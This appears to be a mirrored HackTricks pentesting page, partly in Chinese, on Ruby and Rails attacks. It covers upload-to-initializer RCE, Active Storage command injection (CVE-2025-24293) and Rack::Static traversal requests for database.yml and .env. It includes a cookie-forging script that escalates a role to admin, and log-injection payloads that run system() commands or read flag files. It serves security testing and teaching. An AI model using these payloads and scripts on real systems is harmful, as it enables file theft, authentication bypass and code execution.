mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
175 lines
9.3 KiB
Markdown
175 lines
9.3 KiB
Markdown
# Ruby 技巧
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 文件上传导致 RCE
|
||
|
||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||
|
||
提示:
|
||
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,`config/initializers/` 是典型的例子)。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required,则可能在启动时获得 RCE。
|
||
- 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。
|
||
|
||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||
|
||
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
|
||
|
||
- A vulnerable pattern looks like:
|
||
```erb
|
||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||
```
|
||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||
|
||
- What to try during testing
|
||
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
|
||
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
|
||
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
|
||
|
||
- Remediation/detections
|
||
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
|
||
|
||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||
|
||
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
|
||
|
||
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
|
||
```text
|
||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||
GET /favicon.ico/..%2f..%2f.env
|
||
```
|
||
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
|
||
|
||
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
|
||
|
||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||
|
||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||
|
||
用于解密并重新加密现代 cookies 的最小 Ruby 代码(AES-256-GCM,近期 Rails 的默认):
|
||
```ruby
|
||
require 'cgi'
|
||
require 'json'
|
||
require 'active_support'
|
||
require 'active_support/message_encryptor'
|
||
require 'active_support/key_generator'
|
||
|
||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
||
raw_cookie = CGI.unescape(ARGV[0])
|
||
|
||
salt = 'authenticated encrypted cookie'
|
||
cipher = 'aes-256-gcm'
|
||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
||
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
||
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
||
|
||
plain = enc.decrypt_and_verify(raw_cookie)
|
||
puts "Decrypted: #{plain.inspect}"
|
||
|
||
# Modify and re-encrypt (example: escalate role)
|
||
plain['role'] = 'admin' if plain.is_a?(Hash)
|
||
forged = enc.encrypt_and_sign(plain)
|
||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||
```
|
||
注意:
|
||
- 较旧的应用可能使用 AES-256-CBC 和 salts `encrypted cookie` / `signed encrypted cookie`,或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
|
||
- 在妥协/评估时,旋转 `secret_key_base` 以使所有已存在的 cookies 失效。
|
||
|
||
## 另见 (Ruby/Rails-specific vulns)
|
||
|
||
- Ruby deserialization and class pollution:
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/README.md
|
||
{{#endref}}
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/ruby-class-pollution.md
|
||
{{#endref}}
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||
{{#endref}}
|
||
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
||
{{#ref}}
|
||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||
{{#endref}}
|
||
|
||
|
||
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||
|
||
当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足:
|
||
- 按原样记录用户可控的字符串,且
|
||
- 之后通过 `Pathname#cleanpath` 处理后,从同一字符串派生路径并 `load` 该文件,
|
||
|
||
通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行。关键原语:
|
||
|
||
- Ruby 的 `load` 会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。
|
||
- `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.` 和 `..` 段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如 `../logs/error.log`)。
|
||
|
||
### 最小易受攻击模式
|
||
```ruby
|
||
require 'logger'
|
||
require 'pathname'
|
||
|
||
logger = Logger.new('logs/error.log')
|
||
param = CGI.unescape(params[:script])
|
||
path_obj = Pathname.new(param)
|
||
|
||
logger.info("Running backup script #{param}") # Raw log of user input
|
||
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||
```
|
||
### 为什么日志可以包含有效的 Ruby
|
||
`Logger` 写入类似以下的前缀行:
|
||
```
|
||
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||
```
|
||
在 Ruby 中,`#` 表示注释,`9/2/2025` 只是算术运算。要注入有效的 Ruby 代码,你需要:
|
||
- 在新行开始你的 payload,这样不会被 INFO 行中的 `#` 注释掉;发送一个前导换行符(`\n` 或 `%0A`)。
|
||
- 关闭 INFO 行引入的悬空 `[`。常见技巧是以 `]` 开头,并可选地用 `][0]=1` 让解析器满意。
|
||
- 然后放入任意 Ruby 代码(例如 `system(...)`)。
|
||
|
||
以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例:
|
||
```
|
||
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||
```
|
||
### 构造一个既会记录代码又会解析为日志路径的单字符串
|
||
我们需要一个由攻击者控制的单个字符串,满足:
|
||
- 当原样记录时,包含我们的 Ruby payload,且
|
||
- 当通过 `Pathname.new(<input>).cleanpath` 处理时,解析为 `../logs/error.log`,因此随后对该刚被污染的日志文件执行 `load`。
|
||
|
||
Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行:
|
||
```ruby
|
||
require 'pathname'
|
||
|
||
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||
puts p.cleanpath # => ../logs/error.log
|
||
```
|
||
- 在 `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部,而 `cleanpath` 仍会将后缀简化为 `../logs/error.log`。
|
||
- 前导的 newline 会跳出 INFO 行;`]` 关闭悬挂的括号;`][0]=1` 满足解析器。
|
||
|
||
### End-to-end exploitation
|
||
1. 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为 `%0A`):
|
||
```
|
||
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||
```
|
||
2. 应用将你的原始字符串记录到 `logs/error.log`。
|
||
3. 应用计算 `cleanpath`,解析为 `../logs/error.log` 并对其调用 `load`。
|
||
4. Ruby 会执行你注入到日志中的代码。
|
||
|
||
To exfiltrate a file in a CTF-like environment:
|
||
```
|
||
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||
```
|
||
URL-encoded PoC (第一个字符是换行符):
|
||
```
|
||
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||
```
|
||
## 参考资料
|
||
|
||
- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||
- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|